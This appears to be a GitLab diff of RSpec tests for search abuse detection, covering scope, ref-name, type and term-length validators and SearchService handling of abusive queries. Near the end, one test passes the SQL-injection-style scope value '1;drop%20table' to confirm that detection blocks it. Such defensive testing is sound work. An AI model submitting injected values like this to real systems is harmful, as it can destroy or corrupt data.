status: {
|
||||
__typename: 'DetailedStatus',
|
||||
id: '84',
|
||||
|
|
|
|||
|
|
@ -0,0 +1,31 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Gitlab::EmptySearchResults do
|
||||
subject { described_class.new }
|
||||
|
||||
describe '#objects' do
|
||||
it 'returns an empty array' do
|
||||
expect(subject.objects).to match_array([])
|
||||
end
|
||||
end
|
||||
|
||||
describe '#formatted_count' do
|
||||
it 'returns a zero' do
|
||||
expect(subject.formatted_count).to eq('0')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#highlight_map' do
|
||||
it 'returns an empty hash' do
|
||||
expect(subject.highlight_map).to eq({})
|
||||
end
|
||||
end
|
||||
|
||||
describe '#aggregations' do
|
||||
it 'returns an empty array' do
|
||||
expect(subject.objects).to match_array([])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,114 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Gitlab::Search::AbuseDetection do
|
||||
subject { described_class.new(params) }
|
||||
|
||||
let(:params) {{ query_string: 'foobar' }}
|
||||
|
||||
describe 'abusive scopes validation' do
|
||||
it 'allows only approved scopes' do
|
||||
described_class::ALLOWED_SCOPES.each do |scope|
|
||||
expect(described_class.new(scope: scope)).to be_valid
|
||||
end
|
||||
end
|
||||
|
||||
it 'disallows anything not approved' do
|
||||
expect(described_class.new(scope: 'nope')).not_to be_valid
|
||||
end
|
||||
end
|
||||
|
||||
describe 'abusive character matching' do
|
||||
refs = %w(
|
||||
main
|
||||
тест
|
||||
maiñ
|
||||
main123
|
||||
main-v123
|
||||
main-v12.3
|
||||
feature/it_works
|
||||
really_important!
|
||||
测试
|
||||
)
|
||||
|
||||
refs.each do |ref|
|
||||
it "does match refs permitted by git refname: #{ref}" do
|
||||
[:repository_ref, :project_ref].each do |param|
|
||||
validation = described_class.new(Hash[param, ref])
|
||||
expect(validation).to be_valid
|
||||
end
|
||||
end
|
||||
|
||||
it "does NOT match refs with special characters: #{ref}" do
|
||||
['?', '\\', ' '].each do |special_character|
|
||||
[:repository_ref, :project_ref].each do |param|
|
||||
validation = described_class.new(Hash[param, ref + special_character])
|
||||
expect(validation).not_to be_valid
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe 'numericality validation' do
|
||||
it 'considers non Integers to be invalid' do
|
||||
[:project_id, :group_id].each do |param|
|
||||
[[1, 2, 3], 'xyz', 3.14, { foo: :bar }].each do |dtype|
|
||||
expect(described_class.new(param => dtype)).not_to be_valid
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
it 'considers Integers to be valid' do
|
||||
[:project_id, :group_id].each do |param|
|
||||
expect(described_class.new(param => 123)).to be_valid
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe 'query_string validation' do
|
||||
using ::RSpec::Parameterized::TableSyntax
|
||||
|
||||
subject { described_class.new(query_string: search) }
|
||||
|
||||
let(:validation_errors) do
|
||||
subject.validate
|
||||
subject.errors.messages
|
||||
end
|
||||
|
||||
where(:search, :errors) do
|
||||
described_class::STOP_WORDS.each do |word|
|
||||
word | { query_string: ['stopword only abusive search detected'] }
|
||||
end
|
||||
|
||||
'x' | { query_string: ['abusive tiny search detected'] }
|
||||
('x' * described_class::ABUSIVE_TERM_SIZE) | { query_string: ['abusive term length detected'] }
|
||||
'' | {}
|
||||
'*' | {}
|
||||
'ruby' | {}
|
||||
end
|
||||
|
||||
with_them do
|
||||
it 'validates query string for pointless search' do
|
||||
expect(validation_errors).to eq(errors)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe 'abusive type coercion from string validation' do
|
||||
it 'considers anything not a String invalid' do
|
||||
[:query_string, :scope, :repository_ref, :project_ref].each do |param|
|
||||
[[1, 2, 3], 123, 3.14, { foo: :bar }].each do |dtype|
|
||||
expect(described_class.new(param => dtype)).not_to be_valid
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
it 'considers Strings to be valid' do
|
||||
[:query_string, :repository_ref, :project_ref].each do |param|
|
||||
expect(described_class.new(param => "foo")).to be_valid
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Gitlab::Search::AbuseValidators::NoAbusiveCoercionFromStringValidator do
|
||||
subject do
|
||||
described_class.new({ attributes: { foo: :bar } })
|
||||
end
|
||||
|
||||
let(:instance) { double(:instance) }
|
||||
let(:attribute) { :attribute }
|
||||
let(:validation_msg) { 'abusive coercion from string detected' }
|
||||
let(:validate) { subject.validate_each(instance, attribute, attribute_value) }
|
||||
|
||||
using ::RSpec::Parameterized::TableSyntax
|
||||
|
||||
where(:attribute_value, :valid?) do
|
||||
['this is an arry'] | false
|
||||
{ 'this': 'is a hash' } | false
|
||||
123 | false
|
||||
456.78 | false
|
||||
'now this is a string' | true
|
||||
end
|
||||
|
||||
with_them do
|
||||
it do
|
||||
if valid?
|
||||
expect(instance).not_to receive(:errors)
|
||||
else
|
||||
expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
|
||||
validate
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,71 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Gitlab::Search::AbuseValidators::NoAbusiveTermLengthValidator do
|
||||
subject do
|
||||
described_class.new({ attributes: { foo: :bar }, maximum: limit, maximum_for_url: url_limit })
|
||||
end
|
||||
|
||||
let(:limit) { 100 }
|
||||
let(:url_limit) { limit * 2 }
|
||||
let(:instance) { double(:instance) }
|
||||
let(:attribute) { :search }
|
||||
let(:validation_msg) { 'abusive term length detected' }
|
||||
let(:validate) { subject.validate_each(instance, attribute, search) }
|
||||
|
||||
context 'when a term is over the limit' do
|
||||
let(:search) { "this search is too lo#{'n' * limit}g" }
|
||||
|
||||
it 'adds a validation error' do
|
||||
expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
|
||||
validate
|
||||
end
|
||||
end
|
||||
|
||||
context 'when all terms are under the limit' do
|
||||
let(:search) { "what is love? baby don't hurt me" }
|
||||
|
||||
it 'does NOT add any validation errors' do
|
||||
expect(instance).not_to receive(:errors)
|
||||
validate
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a URL is detected in a search term' do
|
||||
let(:double_limit) { limit * 2 }
|
||||
let(:terms) do
|
||||
[
|
||||
'http://' + 'x' * (double_limit - 12) + '.com',
|
||||
'https://' + 'x' * (double_limit - 13) + '.com',
|
||||
'sftp://' + 'x' * (double_limit - 12) + '.com',
|
||||
'ftp://' + 'x' * (double_limit - 11) + '.com',
|
||||
'http://' + 'x' * (double_limit - 8) # no tld is OK
|
||||
]
|
||||
end
|
||||
|
||||
context 'when under twice the limit' do
|
||||
let(:search) { terms.join(' ') }
|
||||
|
||||
it 'does NOT add any validation errors' do
|
||||
search.split.each do |term|
|
||||
expect(term.length).to be < url_limit
|
||||
end
|
||||
|
||||
expect(instance).not_to receive(:errors)
|
||||
validate
|
||||
end
|
||||
end
|
||||
|
||||
context 'when over twice the limit' do
|
||||
let(:search) do
|
||||
terms.map { |t| t + 'xxxxxxxx' }.join(' ')
|
||||
end
|
||||
|
||||
it 'adds a validation error' do
|
||||
expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
|
||||
validate
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,136 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Gitlab::Search::Params do
|
||||
subject { described_class.new(params, detect_abuse: detect_abuse) }
|
||||
|
||||
let(:search) { 'search' }
|
||||
let(:group_id) { 123 }
|
||||
let(:params) { { group_id: 123, search: search } }
|
||||
let(:detect_abuse) { true }
|
||||
|
||||
describe 'detect_abuse conditional' do
|
||||
it 'does not call AbuseDetection' do
|
||||
expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
|
||||
described_class.new(params, detect_abuse: false)
|
||||
end
|
||||
|
||||
it 'uses AbuseDetection by default' do
|
||||
expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
|
||||
described_class.new(params)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#[]' do
|
||||
it 'feels like regular params' do
|
||||
expect(subject[:group_id]).to eq(params[:group_id])
|
||||
end
|
||||
|
||||
it 'has indifferent access' do
|
||||
params = described_class.new({ 'search' => search, group_id: group_id })
|
||||
expect(params['group_id']).to eq(group_id)
|
||||
expect(params[:search]).to eq(search)
|
||||
end
|
||||
|
||||
it 'also works on attr_reader attributes' do
|
||||
expect(subject[:query_string]).to eq(subject.query_string)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#query_string' do
|
||||
let(:term) { 'term' }
|
||||
|
||||
it "uses 'search' parameter" do
|
||||
params = described_class.new({ search: search })
|
||||
expect(params.query_string).to eq(search)
|
||||
end
|
||||
|
||||
it "uses 'term' parameter" do
|
||||
params = described_class.new({ term: term })
|
||||
expect(params.query_string).to eq(term)
|
||||
end
|
||||
|
||||
it "prioritizes 'search' over 'term'" do
|
||||
params = described_class.new({ search: search, term: term })
|
||||
expect(params.query_string).to eq(search)
|
||||
end
|
||||
|
||||
it 'strips surrounding whitespace from query string' do
|
||||
params = described_class.new({ search: ' ' + search + ' ' })
|
||||
expect(params.query_string).to eq(search)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#validate' do
|
||||
context 'when detect_abuse is disabled' do
|
||||
let(:detect_abuse) { false }
|
||||
|
||||
it 'does NOT validate AbuseDetector' do
|
||||
expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
|
||||
subject.validate
|
||||
end
|
||||
end
|
||||
|
||||
it 'validates AbuseDetector on validation' do
|
||||
expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
|
||||
subject.validate
|
||||
end
|
||||
end
|
||||
|
||||
describe '#valid?' do
|
||||
context 'when detect_abuse is disabled' do
|
||||
let(:detect_abuse) { false }
|
||||
|
||||
it 'does NOT validate AbuseDetector' do
|
||||
expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
|
||||
subject.valid?
|
||||
end
|
||||
end
|
||||
|
||||
it 'validates AbuseDetector on validation' do
|
||||
expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
|
||||
subject.valid?
|
||||
end
|
||||
end
|
||||
|
||||
describe 'abuse detection' do
|
||||
let(:abuse_detection) { instance_double(Gitlab::Search::AbuseDetection) }
|
||||
|
||||
before do
|
||||
allow(subject).to receive(:abuse_detection).and_return abuse_detection
|
||||
allow(abuse_detection).to receive(:errors).and_return abuse_errors
|
||||
end
|
||||
|
||||
context 'when there are abuse validation errors' do
|
||||
let(:abuse_errors) { { foo: ['bar'] } }
|
||||
|
||||
it 'is considered abusive' do
|
||||
expect(subject).to be_abusive
|
||||
end
|
||||
end
|
||||
|
||||
context 'when there are NOT any abuse validation errors' do
|
||||
let(:abuse_errors) { {} }
|
||||
|
||||
context 'and there are other validation errors' do
|
||||
it 'is NOT considered abusive' do
|
||||
allow(subject).to receive(:valid?) do
|
||||
subject.errors.add :project_id, 'validation error unrelated to abuse'
|
||||
false
|
||||
end
|
||||
|
||||
expect(subject).not_to be_abusive
|
||||
end
|
||||
end
|
||||
|
||||
context 'and there are NO other validation errors' do
|
||||
it 'is NOT considered abusive' do
|
||||
allow(subject).to receive(:valid?).and_return(true)
|
||||
|
||||
expect(subject).not_to be_abusive
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1317,10 +1317,28 @@ RSpec.describe Issue do
|
|||
let_it_be(:issue1) { create(:issue, project: project, relative_position: nil) }
|
||||
let_it_be(:issue2) { create(:issue, project: project, relative_position: nil) }
|
||||
|
||||
it_behaves_like "a class that supports relative positioning" do
|
||||
let_it_be(:project) { reusable_project }
|
||||
let(:factory) { :issue }
|
||||
let(:default_params) { { project: project } }
|
||||
context 'when optimized_issue_neighbor_queries is enabled' do
|
||||
before do
|
||||
stub_feature_flags(optimized_issue_neighbor_queries: true)
|
||||
end
|
||||
|
||||
it_behaves_like "a class that supports relative positioning" do
|
||||
let_it_be(:project) { reusable_project }
|
||||
let(:factory) { :issue }
|
||||
let(:default_params) { { project: project } }
|
||||
end
|
||||
end
|
||||
|
||||
context 'when optimized_issue_neighbor_queries is disabled' do
|
||||
before do
|
||||
stub_feature_flags(optimized_issue_neighbor_queries: false)
|
||||
end
|
||||
|
||||
it_behaves_like "a class that supports relative positioning" do
|
||||
let_it_be(:project) { reusable_project }
|
||||
let(:factory) { :issue }
|
||||
let(:default_params) { { project: project } }
|
||||
end
|
||||
end
|
||||
|
||||
it 'is not blocked for repositioning by default' do
|
||||
|
|
|
|||
|
|
@ -87,36 +87,10 @@ module Ci
|
|||
end
|
||||
|
||||
context 'for specific runner' do
|
||||
context 'with tables decoupling disabled' do
|
||||
before do
|
||||
stub_feature_flags(
|
||||
ci_pending_builds_project_runners_decoupling: false,
|
||||
ci_queueing_builds_enabled_checks: false)
|
||||
end
|
||||
|
||||
around do |example|
|
||||
allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332952') do
|
||||
example.run
|
||||
end
|
||||
end
|
||||
|
||||
it 'does not pick a build' do
|
||||
expect(execute(specific_runner)).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'with tables decoupling enabled' do
|
||||
before do
|
||||
stub_feature_flags(
|
||||
ci_pending_builds_project_runners_decoupling: true,
|
||||
ci_queueing_builds_enabled_checks: true)
|
||||
end
|
||||
|
||||
it 'does not pick a build' do
|
||||
expect(execute(specific_runner)).to be_nil
|
||||
expect(pending_job.reload).to be_failed
|
||||
expect(pending_job.queuing_entry).to be_nil
|
||||
end
|
||||
it 'does not pick a build' do
|
||||
expect(execute(specific_runner)).to be_nil
|
||||
expect(pending_job.reload).to be_failed
|
||||
expect(pending_job.queuing_entry).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -272,34 +246,10 @@ module Ci
|
|||
context 'and uses project runner' do
|
||||
let(:build) { execute(specific_runner) }
|
||||
|
||||
context 'with tables decoupling disabled' do
|
||||
before do
|
||||
stub_feature_flags(
|
||||
ci_pending_builds_project_runners_decoupling: false,
|
||||
ci_queueing_builds_enabled_checks: false)
|
||||
end
|
||||
|
||||
around do |example|
|
||||
allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332952') do
|
||||
example.run
|
||||
end
|
||||
end
|
||||
|
||||
it { expect(build).to be_nil }
|
||||
end
|
||||
|
||||
context 'with tables decoupling enabled' do
|
||||
before do
|
||||
stub_feature_flags(
|
||||
ci_pending_builds_project_runners_decoupling: true,
|
||||
ci_queueing_builds_enabled_checks: true)
|
||||
end
|
||||
|
||||
it 'does not pick a build' do
|
||||
expect(build).to be_nil
|
||||
expect(pending_job.reload).to be_failed
|
||||
expect(pending_job.queuing_entry).to be_nil
|
||||
end
|
||||
it 'does not pick a build' do
|
||||
expect(build).to be_nil
|
||||
expect(pending_job.reload).to be_failed
|
||||
expect(pending_job.queuing_entry).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -20,6 +20,7 @@ RSpec.describe SearchService do
|
|||
|
||||
let(:page) { 1 }
|
||||
let(:per_page) { described_class::DEFAULT_PER_PAGE }
|
||||
let(:valid_search) { "what is love?" }
|
||||
|
||||
subject(:search_service) { described_class.new(user, search: search, scope: scope, page: page, per_page: per_page) }
|
||||
|
||||
|
|
@ -30,7 +31,7 @@ RSpec.describe SearchService do
|
|||
describe '#project' do
|
||||
context 'when the project is accessible' do
|
||||
it 'returns the project' do
|
||||
project = described_class.new(user, project_id: accessible_project.id).project
|
||||
project = described_class.new(user, project_id: accessible_project.id, search: valid_search).project
|
||||
|
||||
expect(project).to eq accessible_project
|
||||
end
|
||||
|
|
@ -39,7 +40,7 @@ RSpec.describe SearchService do
|
|||
search_project = create :project
|
||||
search_project.add_guest(user)
|
||||
|
||||
project = described_class.new(user, project_id: search_project.id).project
|
||||
project = described_class.new(user, project_id: search_project.id, search: valid_search).project
|
||||
|
||||
expect(project).to eq search_project
|
||||
end
|
||||
|
|
@ -47,7 +48,7 @@ RSpec.describe SearchService do
|
|||
|
||||
context 'when the project is not accessible' do
|
||||
it 'returns nil' do
|
||||
project = described_class.new(user, project_id: inaccessible_project.id).project
|
||||
project = described_class.new(user, project_id: inaccessible_project.id, search: valid_search).project
|
||||
|
||||
expect(project).to be_nil
|
||||
end
|
||||
|
|
@ -55,7 +56,7 @@ RSpec.describe SearchService do
|
|||
|
||||
context 'when there is no project_id' do
|
||||
it 'returns nil' do
|
||||
project = described_class.new(user).project
|
||||
project = described_class.new(user, search: valid_search).project
|
||||
|
||||
expect(project).to be_nil
|
||||
end
|
||||
|
|
@ -65,7 +66,7 @@ RSpec.describe SearchService do
|
|||
describe '#group' do
|
||||
context 'when the group is accessible' do
|
||||
it 'returns the group' do
|
||||
group = described_class.new(user, group_id: accessible_group.id).group
|
||||
group = described_class.new(user, group_id: accessible_group.id, search: valid_search).group
|
||||
|
||||
expect(group).to eq accessible_group
|
||||
end
|
||||
|
|
@ -73,7 +74,7 @@ RSpec.describe SearchService do
|
|||
|
||||
context 'when the group is not accessible' do
|
||||
it 'returns nil' do
|
||||
group = described_class.new(user, group_id: inaccessible_group.id).group
|
||||
group = described_class.new(user, group_id: inaccessible_group.id, search: valid_search).group
|
||||
|
||||
expect(group).to be_nil
|
||||
end
|
||||
|
|
@ -81,7 +82,7 @@ RSpec.describe SearchService do
|
|||
|
||||
context 'when there is no group_id' do
|
||||
it 'returns nil' do
|
||||
group = described_class.new(user).group
|
||||
group = described_class.new(user, search: valid_search).group
|
||||
|
||||
expect(group).to be_nil
|
||||
end
|
||||
|
|
@ -118,7 +119,7 @@ RSpec.describe SearchService do
|
|||
context 'with accessible project_id' do
|
||||
context 'and allowed scope' do
|
||||
it 'returns the specified scope' do
|
||||
scope = described_class.new(user, project_id: accessible_project.id, scope: 'notes').scope
|
||||
scope = described_class.new(user, project_id: accessible_project.id, scope: 'notes', search: valid_search).scope
|
||||
|
||||
expect(scope).to eq 'notes'
|
||||
end
|
||||
|
|
@ -126,7 +127,7 @@ RSpec.describe SearchService do
|
|||
|
||||
context 'and disallowed scope' do
|
||||
it 'returns the default scope' do
|
||||
scope = described_class.new(user, project_id: accessible_project.id, scope: 'projects').scope
|
||||
scope = described_class.new(user, project_id: accessible_project.id, scope: 'projects', search: valid_search).scope
|
||||
|
||||
expect(scope).to eq 'blobs'
|
||||
end
|
||||
|
|
@ -134,7 +135,7 @@ RSpec.describe SearchService do
|
|||
|
||||
context 'and no scope' do
|
||||
it 'returns the default scope' do
|
||||
scope = described_class.new(user, project_id: accessible_project.id).scope
|
||||
scope = described_class.new(user, project_id: accessible_project.id, search: valid_search).scope
|
||||
|
||||
expect(scope).to eq 'blobs'
|
||||
end
|
||||
|
|
@ -552,4 +553,66 @@ RSpec.describe SearchService do
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#valid_request?' do
|
||||
let(:scope) { 'issues' }
|
||||
let(:search) { 'foobar' }
|
||||
let(:params) { instance_double(Gitlab::Search::Params) }
|
||||
|
||||
before do
|
||||
allow(Gitlab::Search::Params).to receive(:new).and_return(params)
|
||||
allow(params).to receive(:valid?).and_return double(:valid?)
|
||||
end
|
||||
|
||||
it 'is the return value of params.valid?' do
|
||||
expect(subject.valid_request?).to eq(params.valid?)
|
||||
end
|
||||
end
|
||||
|
||||
describe 'abusive search handling' do
|
||||
subject { described_class.new(user, raw_params) }
|
||||
|
||||
let(:raw_params) { { search: search, scope: scope } }
|
||||
let(:search) { 'foobar' }
|
||||
|
||||
let(:search_service) { double(:search_service) }
|
||||
|
||||
before do
|
||||
stub_feature_flags(prevent_abusive_searches: should_detect_abuse)
|
||||
expect(Gitlab::Search::Params).to receive(:new)
|
||||
.with(raw_params, detect_abuse: should_detect_abuse).and_call_original
|
||||
|
||||
allow(subject).to receive(:search_service).and_return search_service
|
||||
end
|
||||
|
||||
context 'when abusive search but prevent_abusive_searches FF is disabled' do
|
||||
let(:should_detect_abuse) { false }
|
||||
let(:scope) { '1;drop%20table' }
|
||||
|
||||
it 'executes search even if params are abusive' do
|
||||
expect(search_service).to receive(:execute)
|
||||
subject.search_results
|
||||
end
|
||||
end
|
||||
|
||||
context 'a search is abusive' do
|
||||
let(:should_detect_abuse) { true }
|
||||
let(:scope) { '1;drop%20table' }
|
||||
|
||||
it 'does NOT execute search service' do
|
||||
expect(search_service).not_to receive(:execute)
|
||||
subject.search_results
|
||||
end
|
||||
end
|
||||
|
||||
context 'a search is NOT abusive' do
|
||||
let(:should_detect_abuse) { true }
|
||||
let(:scope) { 'issues' }
|
||||
|
||||
it 'executes search service' do
|
||||
expect(search_service).to receive(:execute)
|
||||
subject.search_results
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue